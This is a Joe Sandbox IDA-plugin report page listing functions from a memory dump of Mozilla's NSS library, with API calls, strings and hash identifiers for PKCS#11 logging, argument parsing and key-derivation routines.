Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 20d30249624f407c2214429bbcdec98b92428cb905a0e846b43df146a3baa85e
Instruction ID: bbe17326096d2341b3f290342b669a96cd52e6257cd766b39ef596431beaff0a
Opcode Fuzzy Hash: 20d30249624f407c2214429bbcdec98b92428cb905a0e846b43df146a3baa85e
Instruction Fuzzy Hash: E5517BB1A041112BE7145A309D99BBB36669F8230CF144538E915A7FC1FF35990EC2EB

Function 6C744FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6F75C2,00000000,00000000,00000001), ref: 6C745009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6F75C2,00000000), ref: 6C745049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C74505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C745071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C745089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7450A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C7450B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6F75C2), ref: 6C7450CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7450D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7450F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C745103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C74511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C74512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C745145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C745153
free.MOZGLUE(?), ref: 6C74516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C74517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C745195

Strings

name=, xrefs: 6C745057
nss=, xrefs: 6C745083
library=, xrefs: 6C745043
parameters=, xrefs: 6C74506B
config=, xrefs: 6C74509B

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: cc4b6d2ad1ae66067a4c7f76b3ab063d8aafeeeafb1ec1688b83c3bcf1a1a561
Instruction ID: 418f46bf5ec7aacd4bd82b996458749528feebe7a6e86f389136f42e770e0b64
Opcode Fuzzy Hash: cc4b6d2ad1ae66067a4c7f76b3ab063d8aafeeeafb1ec1688b83c3bcf1a1a561
Instruction Fuzzy Hash: C55108B5A01116ABEB50DF70EE45AAF37A8AF06288F144430EC19E7741E725E919C7F2

Function 6C718E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C718E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C718EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C718EB3

Part of subcall function 6C7FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C7FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C718EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C718EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C718F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C718F29
PR_LogPrint.NSS3(?,00000000), ref: 6C718F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C718F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C718F80
PR_LogPrint.NSS3(?,00000000), ref: 6C718F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C718FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C718FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C719047

Strings

pMechanism = 0x%p, xrefs: 6C718EE0
hWrappingKey = 0x%x, xrefs: 6C718F01, 6C718F11
pWrappedKey = 0x%p, xrefs: 6C718FAD
(CK_INVALID_HANDLE), xrefs: 6C718EAC, 6C718F1F, 6C718F79
C_WrapKey, xrefs: 6C718E71
hKey = 0x%x, xrefs: 6C718F5B, 6C718F6B
pulWrappedKeyLen = 0x%p, xrefs: 6C718FC8
hSession = 0x%x, xrefs: 6C718E8E, 6C718E9E
*pulWrappedKeyLen = 0x%x, xrefs: 6C719042

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: fa0a85077c8d0a3b5e2482d54d6d425364ef2eadd9673e95a56e8b0e17334475
Instruction ID: cc50129f233d0848dec1d418edd6ab8aebbb65d97ec35a4f1a9a8476cfc78e46
Opcode Fuzzy Hash: fa0a85077c8d0a3b5e2482d54d6d425364ef2eadd9673e95a56e8b0e17334475
Instruction Fuzzy Hash: 5951A13160A105EFDB20DF409E4CF9A7BBAAB4230DF098425F518A7F12D7349919DB96

Function 6C744C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C734F51,00000000), ref: 6C744C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C734F51,00000000), ref: 6C744C5B
PR_smprintf.NSS3(6C81AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C734F51,00000000), ref: 6C744C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C734F51,00000000), ref: 6C744CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C744CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C744CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C744D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C734F51,00000000), ref: 6C744D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C734F51,00000000), ref: 6C744D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C744D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C744DA2
free.MOZGLUE(?), ref: 6C744DB9
free.MOZGLUE(00000000), ref: 6C744DCF

Strings

ootT, xrefs: 6C744D1A
rust, xrefs: 6C744D22
0x%08lx=[%s %s], xrefs: 6C744D80
every, xrefs: 6C744CA1
%s,%s, xrefs: 6C744C4B
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C744D9D
slotFlags, xrefs: 6C744D34
rootFlags, xrefs: 6C744D47
timeout, xrefs: 6C744C91
any, xrefs: 6C744C96

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 10b23984b9417225d3551ff78aa4a338d5ef7d78eddb43fbf7e69b8d0172f1d7
Instruction ID: 0cb1c6524199c0ea11bfb215cf0c2c5809c47b320d7623fd70668401eff6368a
Opcode Fuzzy Hash: 10b23984b9417225d3551ff78aa4a338d5ef7d78eddb43fbf7e69b8d0172f1d7
Instruction Fuzzy Hash: 7E419EF190014667DB215F54DD466BB36B5AF9230CF488538EC1A4BB02E735D928EBD3

Function 6C726CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C726910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C726943
Part of subcall function 6C726910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C726957
Part of subcall function 6C726910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C726972
Part of subcall function 6C726910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C726983
Part of subcall function 6C726910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C7269AA
Part of subcall function 6C726910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C7269BE
Part of subcall function 6C726910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C7269D2
Part of subcall function 6C726910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C7269DF
Part of subcall function 6C726910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C726A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C726D8C
free.MOZGLUE(00000000), ref: 6C726DC5
free.MOZGLUE(?), ref: 6C726DD6
free.MOZGLUE(?), ref: 6C726DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C726E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C726E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C726E72
free.MOZGLUE(?), ref: 6C726EA7
free.MOZGLUE(?), ref: 6C726EC4
free.MOZGLUE(?), ref: 6C726ED5
free.MOZGLUE(00000000), ref: 6C726EE3
free.MOZGLUE(?), ref: 6C726EF4
free.MOZGLUE(?), ref: 6C726F08
free.MOZGLUE(00000000), ref: 6C726F35
free.MOZGLUE(?), ref: 6C726F44
free.MOZGLUE(?), ref: 6C726F5B
free.MOZGLUE(00000000), ref: 6C726F65

Part of subcall function 6C726C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C72781D,00000000,6C71BE2C,?,6C726B1D,?,?,?,?,00000000,00000000,6C72781D), ref: 6C726C40
Part of subcall function 6C726C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C72781D,?,6C71BE2C,?), ref: 6C726C58
Part of subcall function 6C726C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C72781D), ref: 6C726C6F
Part of subcall function 6C726C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C726C84
Part of subcall function 6C726C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C726C96
Part of subcall function 6C726C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C726CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C726F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C726FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C726FF4

Strings

+`sl, xrefs: 6C726D0D

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`sl
API String ID: 1304971872-1589001029
Opcode ID: 52a0453eb1e578e7ebd438cf5c590be73a76d29ab32d36895c9eb95e08545fe5
Instruction ID: b52754b82238f85686ab7e161dd5ffc88f2b807d90f3ac8873a15ce3a4e7bd6f
Opcode Fuzzy Hash: 52a0453eb1e578e7ebd438cf5c590be73a76d29ab32d36895c9eb95e08545fe5
Instruction Fuzzy Hash: 23B1B3B0E012199FDF10DFA5DA85B9EBBB9BF04348F140136E814E7641E739EA14CBA1

Function 6C7108F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6C71094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C710953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6C71096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6C710974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C71098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C710995

Part of subcall function 6C711800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C711860
Part of subcall function 6C711800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C7109BF), ref: 6C711897
Part of subcall function 6C711800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C7118AA
Part of subcall function 6C711800: memcpy.VCRUNTIME140(?,?,?), ref: 6C7118C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C710B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C710B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C710B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6C710B78

Strings

info_hash, xrefs: 6C7109E0
exp, xrefs: 6C710B36
base_nonce, xrefs: 6C710B06
psk_id_hash, xrefs: 6C7109B5
secret, xrefs: 6C710A88
key, xrefs: 6C710ACB

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: a2cfb8d0797b3aad91192789d254537da26cacd59abf95c7e1ef861643552e8c
Instruction ID: 087e25f8ffd467063859eb490de68468ed159d5b3ef2b5b0363003c0ba2f3096
Opcode Fuzzy Hash: a2cfb8d0797b3aad91192789d254537da26cacd59abf95c7e1ef861643552e8c
Instruction Fuzzy Hash: 03819B75608345AFC710CF55C98899AF7E8FF8C308F048929F99987B51E730EA19CB92

Function 6C722D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C722DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C722E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C722E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C722E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C6F4F1C,?,-00000001,00000000,?), ref: 6C722E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C6F4F1C,?,-00000001,00000000), ref: 6C722E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C722EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C722EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C722EF8
PR_Unlock.NSS3(?), ref: 6C722F62
TlsGetValue.KERNEL32 ref: 6C722F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C722F9E
PR_Unlock.NSS3(?), ref: 6C722FCA
TlsGetValue.KERNEL32 ref: 6C72301A
EnterCriticalSection.KERNEL32(?), ref: 6C72302E
PR_Unlock.NSS3(?), ref: 6C723066
PR_SetError.NSS3(00000000,00000000), ref: 6C723085
PR_Unlock.NSS3(?), ref: 6C7230EC
TlsGetValue.KERNEL32 ref: 6C72310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C723124
PR_Unlock.NSS3(?), ref: 6C72314C

Part of subcall function 6C709180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C73379E,?,6C709568,00000000,?,6C73379E,?,00000001,?), ref: 6C70918D
Part of subcall function 6C709180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C73379E,?,6C709568,00000000,?,6C73379E,?,00000001,?), ref: 6C7091A0

Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07AD
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07CD
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07D6
Part of subcall function 6C6D07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C66204A), ref: 6C6D07E4
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,6C66204A), ref: 6C6D0864
Part of subcall function 6C6D07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6D0880
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,6C66204A), ref: 6C6D08CB
Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(?,?,6C66204A), ref: 6C6D08D7
Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(?,?,6C66204A), ref: 6C6D08FB

PR_SetError.NSS3(00000000,00000000), ref: 6C72316D

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 295bb2fd09ee816efd8f8af5295e7a39e3c2245ae863609e48326a114e9a458b
Instruction ID: 2b436f878f04d85fbccf427576c8798ee8a22bf79e673c8c2f407be186856755
Opcode Fuzzy Hash: 295bb2fd09ee816efd8f8af5295e7a39e3c2245ae863609e48326a114e9a458b
Instruction Fuzzy Hash: DFF1BDB1D00609AFDF10EF64D988B9EBBB9BF09318F144169EC04A7711EB34E995CB91

Function 6C71AF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C71AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C71AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C71AF83

Part of subcall function 6C7FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C7FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C71AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C71AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C71AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C71AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C71B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C71B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C71B041

Strings

pData = 0x%p, xrefs: 6C71AFEF
ulParameterLen = 0x%p, xrefs: 6C71AFD4
pSignature = 0x%p, xrefs: 6C71B023
pulSignatureLen = 0x%p, xrefs: 6C71B03C
(CK_INVALID_HANDLE), xrefs: 6C71AF7C
ulDataLen = %d, xrefs: 6C71B00A
pParameter = 0x%p, xrefs: 6C71AFB9
hSession = 0x%x, xrefs: 6C71AF5E, 6C71AF6E
C_SignMessage, xrefs: 6C71AF41

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 55c79730746802a9d62b2b8f17a3b3d454b505b0a2ff6ac8d3c9e3e28b3b2123
Instruction ID: 5247c910735040b02e1917467ffada965d239eda1fb36b0fa7065a32c760cfab
Opcode Fuzzy Hash: 55c79730746802a9d62b2b8f17a3b3d454b505b0a2ff6ac8d3c9e3e28b3b2123
Instruction Fuzzy Hash: AE41BE75605144EFDB20EF50DE8CE9A3BB1EB4231DF088434E918A7B21D734A859DBA6

Function 6C724C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C724C4C
EnterCriticalSection.KERNEL32(?), ref: 6C724C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C724CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C724CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C724CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C724D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C724D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C724DB7

Part of subcall function 6C78DD70: TlsGetValue.KERNEL32 ref: 6C78DD8C
Part of subcall function 6C78DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C78DDB4

Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07AD
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07CD
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C66204A), ref: 6C6D07D6
Part of subcall function 6C6D07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C66204A), ref: 6C6D07E4
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,6C66204A), ref: 6C6D0864
Part of subcall function 6C6D07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6D0880
Part of subcall function 6C6D07A0: TlsSetValue.KERNEL32(00000000,?,?,6C66204A), ref: 6C6D08CB
Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(?,?,6C66204A), ref: 6C6D08D7
Part of subcall function 6C6D07A0: TlsGetValue.KERNEL32(?,?,6C66204A), ref: 6C6D08FB

TlsGetValue.KERNEL32 ref: 6C724DD7
EnterCriticalSection.KERNEL32(?), ref: 6C724DEC
PR_Unlock.NSS3(?), ref: 6C724E1B
